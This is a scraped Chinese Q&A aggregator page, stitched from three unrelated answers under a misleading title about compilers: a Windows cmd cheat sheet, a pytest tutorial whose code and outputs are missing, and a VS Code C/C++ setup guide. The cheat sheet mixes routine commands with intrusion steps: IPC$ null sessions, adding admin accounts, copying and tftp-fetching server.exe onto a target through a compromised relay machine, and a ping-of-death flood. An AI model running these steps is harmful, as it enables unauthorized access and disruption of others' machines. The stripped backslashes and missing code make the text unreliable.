导航:首页 > 源码编译 > s开头的代码编译器

s开头的代码编译器

发布时间:2024-11-21 16:07:15

⑴ cmd命令,cmd高手请进!!!!1!50分奖赏之后追加好多分

非常全:
7:计算机运行命令全集 winver---------检查Windows版本
wmimgmt.msc----打开windows管理体系结构
wupdmgr--------windows更新程序
winver---------检查Windows版本
wmimgmt.msc----打开windows管理体系结构
wupdmgr--------windows更新程序
wscript--------windows脚本宿主设置
write----------写字板winmsd-----系统信息
wiaacmgr-------扫描仪和照相机向导
winchat--------XP自带局域网聊天
mem.exe--------显示内存使用情况
Msconfig.exe---系统配置实用程序
mplayer2-------简易widnows media player
mspaint--------画图板
mstsc----------远程桌面连接
mplayer2-------媒体播放机
magnify--------放大镜实用程序
mmc------------打开控制台
mobsync--------同步命令
dxdiag---------检查DirectX信息
drwtsn32------ 系统医生
devmgmt.msc--- 设备管理器
dfrg.msc-------磁盘碎片整理程序
diskmgmt.msc---磁盘管理实用程序
dcomcnfg-------打开系统组件服务
ddeshare-------打开DDE共享设置
dvdplay--------DVD播放器
net stop messenger-----停止信使服务
net start messenger----开始信使服务
notepad--------打开记事本
nslookup-------网络管理的工具向导
ntbackup-------系统备份和还原
narrator-------屏幕"讲述人"
ntmsmgr.msc----移动存储管理器
ntmsoprq.msc---移动存储管理员操作请求
netstat -an----(TC)命令检查接口
syncapp--------创建一个公文包
sysedit--------系统配置编辑器
sigverif-------文件签名验证程序
sndrec32-------录音机
shrpubw--------创建共享文件夹
secpol.msc-----本地安全策略
syskey---------系统加密,一旦加密就不能解开,保护windows xp系统的双重密码
services.msc---本地服务设置
Sndvol32-------音量控制程序
sfc.exe--------系统文件检查器
sfc /scannow---windows文件保护
tsshutdn-------60秒倒计时关机命令
tourstart------xp简介(安装完成后出现的漫游xp程序)
taskmgr--------任务管理器
eventvwr-------事件查看器
eudcedit-------造字程序
explorer-------打开资源管理器
packager-------对象包装程序
perfmon.msc----计算机性能监测程序
progman--------程序管理器
regedit.exe----注册表
rsop.msc-------组策略结果集
regedt32-------注册表编辑器
rononce -p ----15秒关机
regsvr32 /u *.dll----停止dll文件运行
regsvr32 /u zipfldr.dll------取消ZIP支持
cmd.exe--------CMD命令提示符
chkdsk.exe-----Chkdsk磁盘检查
certmgr.msc----证书管理实用程序
calc-----------启动计算器
charmap--------启动字符映射表
cliconfg-------SQL SERVER 客户端网络实用程序
Clipbrd--------剪贴板查看器
conf-----------启动netmeeting
compmgmt.msc---计算机管理
cleanmgr-------**整理
ciadv.msc------索引服务程序
osk------------打开屏幕键盘
odbcad32-------ODBC数据源管理器
oobe/msoobe /a----检查XP是否激活
lusrmgr.msc----本机用户和组
logoff---------注销命令
iexpress-------木马捆绑工具,系统自带
Nslookup-------IP地址侦测器
fsmgmt.msc-----共享文件夹管理器
utilman--------辅助工具管理器
gpedit.msc-----组策略

net use ipipc$ " " /user:" " 建立IPC空链接
net use ipipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: ipc$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:
net use h: ipc$ 登陆后映射对方C:到本地为H:
net use ipipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数
net start 查看开启了哪些服务
net start 服务名 开启服务;(如:net start telnet, net start schele)
net stop 服务名 停止某服务
net time 目标ip 查看对方时间
net time 目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C:共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况,常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
二:
del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP(属telnet登陆后的命令)
telnet 在本机上直接键入telnet 将进入本机的telnet
路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
c:srv.exe ipadmin$ 复制本地c:srv.exe到对方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件
ipadmin$svv.exe c: 或:ipadmin$*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:
x 要复制的文件或目录树 目标地址目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:server.exe 登陆后,将“IP”的server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
tftp -i 对方IP put c:server.exe 登陆后,上传本地c:server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件(目录)的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序,并显示出:请按任意键继续....
if 在批处理程序中执行条件处理(更多说明见if命令及变量)
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)
call 路径批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为:EntSky )
三:
ver 在DOS窗口下显示版本信息
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目录名 创建目录
replace 源文件 要替换文件的目录 替换文件
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令=字符
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=
taskmgr 调出任务管理器
chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
regedit /e 注册表文件名 导出注册表
cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D: est.txt /D pub 设定d: est.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM 文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况

四:

IIS服务命令:
iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
iisreset /start或stop 启动(停止)所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 显示所有Internet服务状态
iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务
iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
FTP 命令: (后面有详细说明内容)
ftp的命令行格式为:
ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。
-d 使用调试方式。
-n 限制ftp的自动登录,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令说明
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
pwd 列出当前远端主机目录
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
mget [remote-files] 从远端主机接收一批文件至本地主机
mput local-files 将本地主机中一批文件传送至远端主机
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
ascii 设定以ASCII方式传送文件(缺省值)
bin 或 image 设定以二进制方式传送文件
bell 每完成一次文件传送,报警提示
cp 返回上一级目录
close 中断与远程服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连接,可指定连接端口
delete 删除远端主机中的文件
mdelete [remote-files] 删除一批文件
mkdir directory-name 在远端主机中建立目录
rename [from] [to] 改变远端主机中的文件名
rmdir directory-name 删除远端主机中的目录
status 显示当前FTP的状态
system 显示远端主机系统类型
user user-name [password] [account] 重新以别的用户名登录远端主机
open host [port] 重新建立一个新的连接
prompt 交互提示模式
macdef 定义宏命令
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod 改变远端主机的文件权限
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cd remote-dir 进入远程主机目录
cp 进入远程主机目录的父目录
! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip

#5 五:

MYSQL 命令:
mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u与root可以不用加空格,其它也一样)
exit 退出MYSQL
mysqladmin -u用户名 -p旧密码 password 新密码 修改密码
grant select on 数据库.* to 用户名@登录主机 identified by "密码"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)
show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
use mysql;
show tables; 显示库中的数据表
describe 表名; 显示数据表的结构
create database 库名; 建库
use 库名;
create table 表名 (字段设定列表); 建表
drop database 库名;
drop table 表名; 删库和删表
delete from 表名; 将表中记录清空
select * from 表名; 显示表中的记录
mysqlmp --opt school>school.bbb 备份数据库:(命令在DOS的mysql in目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。
win2003系统下新增命令(实用部份):
shutdown /参数 关闭或重启本地或远程主机。
参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
例:shutdown /r /t 0 立即重启本地主机(无延时)
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。

⑵ Python - pytest

目录

pytest是Python的单元测试框架,同自带的unittest框架类似,但pytest框架使用起来更简洁,效率更高。

pytest特点

安装

测试

在测试之前要做的准备

我的演示脚本处于这样一个的目录中:

踩坑:你创建的pytest脚本名称中不允许含有 . ,比如 1.简单上手.py ,这样会报错。当然,可以这么写 1-简单上手.py

demo1.py :

上例中,当我们在执行(就像Python解释器执行普通的Python脚本一样)测试用例的时候, pytest.main(["-s", "demo1.py"]) 中的传参需要是一个元组或者列表(我的pytest是5.2.2版本),之前的版本可能需要这么调用 pytest.main("-s demo1.py") ,传的参数是str的形式,至于你使用哪种,取决于报不报错:

遇到上述报错,就是参数需要一个列表或者元组的形式,而我们使用的是str形式。

上述代码正确的执行结果是这样的:

大致的信息就是告诉我们:

pytest.main(["-s", "demo1.py"])参数说明

除了上述的函数这种写法,也可以有用例类的写法:

用法跟unittest差不多,类名要以 Test 开头,并且其中的用例方法也要以 test 开头,然后执行也一样。

执行结果:

那么,你这个时候可能会问,我记得unittest中有setup和teardown的方法,难道pytest中没有嘛?你怎么提都不提?稳住,答案是有的。

接下来,我们来研究一下pytest中的setup和teardown的用法。

我们知道,在unittest中,setup和teardown可以在每个用例前后执行,也可以在所有的用例集执行前后执行。那么在pytest中,有以下几种情况:

来一一看看各自的用法。

模块级别setup_mole/teardown_mole

执行结果:

类级别的setup_class/teardown_class

执行结果:

类中方法级别的setup_method/teardown_method

执行结果:

函数级别的setup_function/teardown_function

执行结果:

小结

该脚本有多种运行方式,如果处于PyCharm环境,可以使用右键或者点击运行按钮运行,也就是在pytest中的主函数中运行:

也可以在命令行中运行:

这种方式,跟使用Python解释器执行Python脚本没有什么两样。也可以如下面这么执行:

当然,还有一种是使用配置文件运行,来看看怎么用。

在项目的根目录下,我们可以建立一个 pytest.ini 文件,在这个文件中,我们可以实现相关的配置:

那这个配置文件中的各项都是什么意思呢?

首先, pytest.ini 文件必须位于项目的根目录,而且也必须叫做 pytest.ini 。

其他的参数:

OK,来个示例。

首先,(详细目录参考开头的目录结构)在 scripts/test_case_01.py 中:

在 scripts/test_case_dir1/test_case02.py 中:

那么,在不同的目录或者文件中,共有5个用例将被执行,而结果则是两个失败三个成功。来执行验证一下,因为有了配置文件,我们在终端中(前提是在项目的根目录),直接输入 pytest 即可。

由执行结果可以发现, 2 failed, 3 passed ,跟我们的预期一致。

后续执行相关配置都来自配置文件,如果更改,会有相应说明,终端都是直接使用 pytest 执行。

我们知道在unittest中,跳过用例可以用 skip ,那么这同样是适用于pytest。

来看怎么使用:

跳过用例,我们使用 @pytest.mark.skipif(condition, reason) :

然后将它装饰在需要被跳过用例的的函数上面。

效果如下:

上例执行结果相对详细,因为我们在配置文件中为 addopts 增加了 -v ,之前的示例结果中,没有加!
另外,此时,在输出的控制台中, 还无法打印出 reason 信息,如果需要打印,则可以在配置文件中的 addopts 参数的 -s 变为 -rs :

如果我们事先知道测试函数会执行失败,但又不想直接跳过,而是希望显示的提示。

Pytest 使用 pytest.mark.xfail 实现预见错误功能::

需要掌握的必传参数的是:

那么关于预期失败的几种情况需要了解一下:

结果如下:

pytest 使用 x 表示预见的失败(XFAIL)。

如果预见的是失败,但实际运行测试却成功通过,pytest 使用 X 进行标记(XPASS)。

而在预期失败的两种情况中,我们不希望出现预期失败,结果却执行成功了的情况出现,因为跟我们想的不一样嘛,我预期这条用例失败,那这条用例就应该执行失败才对,你虽然执行成功了,但跟我想的不一样,你照样是失败的!

所以,我们需要将预期失败,结果却执行成功了的用例标记为执行失败,可以在 pytest.ini 文件中,加入:

这样就就把上述的情况标记为执行失败了。

pytest身为强大的单元测试框架,那么同样支持DDT数据驱动测试的概念。也就是当对一个测试函数进行测试时,通常会给函数传递多组参数。比如测试账号登陆,我们需要模拟各种千奇百怪的账号密码。

当然,我们可以把这些参数写在测试函数内部进行遍历。不过虽然参数众多,但仍然是一个测试,当某组参数导致断言失败,测试也就终止了。

通过异常捕获,我们可以保证程所有参数完整执行,但要分析测试结果就需要做不少额外的工作。

在 pytest 中,我们有更好的解决方法,就是参数化测试,即每组参数都独立执行一次测试。使用的工具就是 pytest.mark.parametrize(argnames, argvalues) 。

使用就是以装饰器的形式使用。

只有一个参数的测试用例

来看(重要部分)结果::

可以看到,列表内的每个手机号,都是一条测试用例。

多个参数的测试用例

(重要部分)结果:

可以看到,每一个手机号与每一个验证码都组合一起执行了,这样就执行了4次。那么如果有很多个组合的话,用例数将会更多。我们希望手机号与验证码一一对应组合,也就是只执行两次,怎么搞呢?

在多参数情况下,多个参数名是以 , 分割的字符串。参数值是列表嵌套的形式组成的。

固件(Fixture)是一些函数,pytest 会在执行测试函数之前(或之后)加载运行它们,也称测试夹具。

我们可以利用固件做任何事情,其中最常见的可能就是数据库的初始连接和最后关闭操作。

Pytest 使用 pytest.fixture() 定义固件,下面是最简单的固件,访问主页前必须先登录:

结果:

在之前的示例中,你可能会觉得,这跟之前的setup和teardown的功能也类似呀,但是,fixture相对于setup和teardown来说更灵活。pytest通过 scope 参数来控制固件的使用范围,也就是作用域。

比如之前的login固件,可以指定它的作用域:

很多时候需要在测试前进行预处理(如新建数据库连接),并在测试完成进行清理(关闭数据库连接)。

当有大量重复的这类操作,最佳实践是使用固件来自动化所有预处理和后处理。

Pytest 使用 yield 关键词将固件分为两部分, yield 之前的代码属于预处理,会在测试前执行; yield 之后的代码属于后处理,将在测试完成后执行。

以下测试模拟数据库查询,使用固件来模拟数据库的连接关闭:

结果:

可以看到在两个测试用例执行前后都有预处理和后处理。

pytest中还有非常多的插件供我们使用,我们来介绍几个常用的。

先来看一个重要的,那就是生成测试用例报告。

想要生成测试报告,首先要有下载,才能使用。

下载

如果下载失败,可以使用PyCharm下载,怎么用PyCharm下载这里无需多言了吧。

使用

在配置文件中,添加参数:

效果很不错吧!

没完,看我大招

Allure框架是一个灵活的轻量级多语言测试报告工具,它不仅以web的方式展示了简洁的测试结果,而且允许参与开发过程的每个人从日常执行的测试中最大限度的提取有用信息。
从开发人员(dev,developer)和质量保证人员(QA,Quality Assurance)的角度来看,Allure报告简化了常见缺陷的统计:失败的测试可以分为bug和被中断的测试,还可以配置日志、步骤、fixture、附件、计时、执行 历史 以及与TMS和BUG管理系统集成,所以,通过以上配置,所有负责的开发人员和测试人员可以尽可能的掌握测试信息。
从管理者的角度来看,Allure提供了一个清晰的“大图”,其中包括已覆盖的特性、缺陷聚集的位置、执行时间轴的外观以及许多其他方便的事情。allure的模块化和可扩展性保证了我们总是能够对某些东西进行微调。

少扯点,来看看怎么使用。

Python的pytest中allure下载

但由于这个 allure-pytest 插件生成的测试报告不是 html 类型的,我们还需要使用allure工具再“加工”一下。所以说,我们还需要下载这个allure工具。

allure工具下载

在现在allure工具之前,它依赖Java环境,我们还需要先配置Java环境。

注意,如果你的电脑已经有了Java环境,就无需重新配置了。

配置完了Java环境,我们再来下载allure工具,我这里直接给出了网络云盘链接,你也可以去其他链接中自行下载:

下载并解压好了allure工具包之后,还需要将allure包内的 bin 目录添加到系统的环境变量中。

完事后打开你的终端测试:

返回了版本号说明安装成功。

使用

一般使用allure要经历几个步骤:

来看配置 pytest.ini :

就是 --alluredir ./report/result 参数。

在终端中输入 pytest 正常执行测试用例即可:

执行完毕后,在项目的根目下,会自动生成一个 report 目录,这个目录下有:

接下来需要使用allure工具来生成HTML报告。

此时我们在终端(如果是windows平台,就是cmd),路径是项目的根目录,执行下面的命令。

PS:我在pycharm中的terminal输入allure提示'allure' 不是内部或外部命令,也不是可运行的程序或批处理文件。但windows的终端没有问题。

命令的意思是,根据 reportresult 目录中的数据(这些数据是运行pytest后产生的)。在 report 目录下新建一个 allure_html 目录,而这个目录内有 index.html 才是最终的allure版本的HTML报告;如果你是重复执行的话,使用 --clean 清除之前的报告。

结果很漂亮:

allure open
默认的,allure报告需要HTTP服务器来打开,一般我们可以通过pycharm来完成,另外一种情况就是通过allure自带的open命令来完成。

allure的其他用法
当然,故事还是没有完!在使用allure生成报告的时候,在编写用例阶段,还可以有一些参数可以使用:

allure.title与allure.description

feature和story

由上图可以看到,不同的用例被分为不同的功能中。

allure.severity

allure.severity 用来标识测试用例或者测试类的级别,分为blocker,critical,normal,minor,trivial5个级别。

severity的默认级别是normal,所以上面的用例5可以不添加装饰器了。

allure.dynamic

在之前,用例的执行顺序是从上到下依次执行:

正如上例的执行顺序是 3 1 2 。

现在,来看看我们如何手动控制多个用例的执行顺序,这里也依赖一个插件。

下载

使用

手动控制用例执行顺序的方法是在给各用例添加一个装饰器:

那么, 现在的执行顺序是 2 1 3 ,按照order指定的排序执行的。

如果有人较劲传个0或者负数啥的,那么它们的排序关系应该是这样的:

失败重试意思是指定某个用例执行失败可以重新运行。

下载

使用

需要在 pytest.ini 文件中, 配置:

给 addopts 字段新增(其他原有保持不变) --reruns=3 字段,这样如果有用例执行失败,则再次执行,尝试3次。

来看示例:

结果:

我们也可以从用例报告中看出重试的结果:

上面演示了用例失败了,然后重新执行多少次都没有成功,这是一种情况。

接下来,来看另一种情况,那就是用例执行失败,重新执行次数内通过了,那么剩余的重新执行的次数将不再执行。

通过 random 模块帮助我们演示出在某次执行中出现失败的情况,而在重新执行的时候,会出现成功的情况,看结果:

可以看到,用例 02 重新执行了一次就成功了,剩余的两次执行就终止了。

一条一条用例的执行,肯定会很慢,来看如何并发的执行测试用例,当然这需要相应的插件。

下载

使用

在配置文件中添加:

就是这个 -n=auto :

并发的配置可以写在配置文件中,然后其他正常的执行用例脚本即可。另外一种就是在终端中指定,先来看示例:

结果:

pytest-sugar 改变了 pytest 的默认外观,添加了一个进度条,并立即显示失败的测试。它不需要配置,只需 下载插件即可,用 pytest 运行测试,来享受更漂亮、更有用的输出。

下载

其他照旧执行用例即可。

pytest-cov 在 pytest 中增加了覆盖率支持,来显示哪些代码行已经测试过,哪些还没有。它还将包括项目的测试覆盖率。

下载

使用

在配置文件中:

也就是配置 --cov=./scripts ,这样,它就会统计所有 scripts 目录下所有符合规则的脚本的测试覆盖率。

执行的话,就照常执行就行。

结果:

更多插件参考:https://zhuanlan.hu.com/p/50317866

有的时候,在 pytest.ini 中配置了 pytest-html 和 allure 插件之后,执行后报错:

出现了这个报错,检查你配置的解释器中是否存在 pytest-html 和 allure-pytest 这两个模块。如果是使用的pycharm ide,那么你除了检查settings中的解释器配置之外,还需要保证运行脚本的编辑器配置是否跟settings中配置一致。

⑶ vscode配置c/c++环境

区分编辑器、编译器、IDE: 作者:C语言教学


编辑器就是处理文本(源码)的程序,写代码写的就是文本,编辑器可能提供智能提示、代码高亮等辅助功能,但不负责源码到二进制文件的操作;


编译器就是负责将源码文本翻译成计算机能够理解和执行的二进制文件的程序;


集成开发环境(IDE,Integrated Development Environment )是用于提供程序开发环境的应用程序,包括了代码编辑器、编译器、调试器和图形用户界面工具。集成了代码编写、分析、编译、调试等一整套工具链。


什么是搭建环境:


vscode定位代码编辑器,不是IDE,不包含编译功能,因此需要我们自己安装编译器、调试器等编译器套件,并使两者有效的配合起来,以实现快捷操作。把这一整套工具链整合到一起的过程就是我们所说的搭建环境。


ok,到这里,我们就清楚要做什么了:获取编辑器 -> 获取编译套装(编译器、调试器、头文件库等) -> 做好两者之间的沟通工作(配置文件)


两个东西:编辑器和编译套装


编辑器: VSCode


编译套装:win10:mingw-w64安装教程


下载


https://code.visualstudio.com/


Stable:每个月会发布一个新的稳定版本


Insiders:


每天都会更新一次


可以和Stable共存,而且用户配置、颜色主体等都是相互独立的


VS Code 安装完之后就会自动更新,你并不需要前往官网重新下载


安装


(1) ubuntu


官网上下载.deb,然后执行如下命令:


sudo apt install ./xxx.deb


(2) windows


直接下一步


中文显示


打开vscode,发现全是英文,我们先装个汉化插件:


在插件视图中,搜索并安装Chinese (Simplified) Language Pack插件


Ctrl + Shift + P打开命令面板,输入并执行Configure Display Language命令


选择zh-cn选项


重启


完全卸载


如果大家之前有安装过VSCode,然后只是简单卸载的话,再次安装之后,是还出现之前的配置信息,包括打开的文件夹、安装过的扩展等,这是因为之前并没有完全将VSCode卸载干净。如果想干净卸载掉VSCode再重新安装的话,就需要在卸载之后再删除掉两个目录的内容。分别是:


C:Users$用户名.vscode


C:Users$用户名AppDataRoamingCode


安装C/C++必备的插件


C/C++


安装C/C++ Project Generator


示例一


在vscode中 ctrl+shift+p 打开菜单,在其中输入 create c


这时会弹出一个窗口,让你选中将源码放到哪个工作空间上,这个我选择C_Mutile,此时它会显式


这两个东西是啥呢?


先了解几个概念:


命令行:命令行 或 命令行界面,是一种基于文本的用来查看、处理、和操作计算机上的文件和程序的工具。


终端/控制台:可以输入命令行并显示程序运行过程中的信息以及程序运行结果的窗口。 不必要严格区分这两者的差别。


shell:终端自身并不执行用户输入的命令,它只是负责把输入的内容传送到主机系统,并把主机系统返回的结果呈现给用户。负责解释执行用户输入的命令并返回结果的,正是Shell,它是沟通用户和系统内核的中间桥梁。


我们写完代码之后,可以通过命令行去编译运行:


打开一个cmd终端


进入文件夹位置,然后gcc -o hello hello.c


但是每次都用命令行太麻烦了,怎么样才能更快捷呢?可以通过.vscode文件夹下的json配置文件来配置实现。这些json文件怎么写是由vscode开发团队规定的(感兴趣可以去看官方的文档),


task是任务的意思,我们的编译和运行就是我们想要vscode执行的任务,为此我们要在tasks.json里写两个task:Build和Run(这里为什么不是Compile呢?是因为从源码到可执行的过程中不仅是编译(Compile),还有预编译、链接等过程,用构建(Build)来表述更合适)。除了编译和运行,我们还需要进行调试(Debug),这个就不是通过task来实现的了,而是通过launch.json文件来实现。


运行


方法一:按F5调试运行


方法二,图形界面


遇到的错误


g++ : 无法将“g++”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。请检查名称的拼写,如果包括路径,请确保路径正确,然后再试一次。


解决:


将MinGW配置到环境变量中,注意配置完之后要重启vscode


检查MinGW是否配置好:


gcc --version


g++ --version


gdb --version


终端启动VSCode


打开一个终端,然后运行code命令即可启动终端。


运行code --help可以打印出VS Code命令行支持的所有参数


打开一个文件夹


在一个新窗口中打开这个文件或文件夹: code 文件夹/文件名


在一个已经打开的窗口来打开文件: code -r 文件夹/文件名


比较两个文件的内容


比较两个文件的内容:


code -d 文件a 文件b。


比如:code -r -d a.txt b.txt


其他


VS Code 命令行除了支持打开磁盘上的文件以外,也接受来自管道中的数据。这样你就可以将原本在命令行中展示的内容,实时地展示在 VS Code 里,然后在编辑器中搜索和修改。比如,你可以把当前目录下所有的文件名都展示在编辑器里,此时只需使用ls | code -命令。


关闭当前项目


file → close Folder


从资源管理器里调出系统终端


打开和创建一个集成终端:


打开终端的方法:


菜单栏:View–>Terminal


快捷键:Ctrl + `,按一下打开,再按一下关闭


命令面板:搜索并执行“切换集成终端”(Toggle Integrated Terminal)


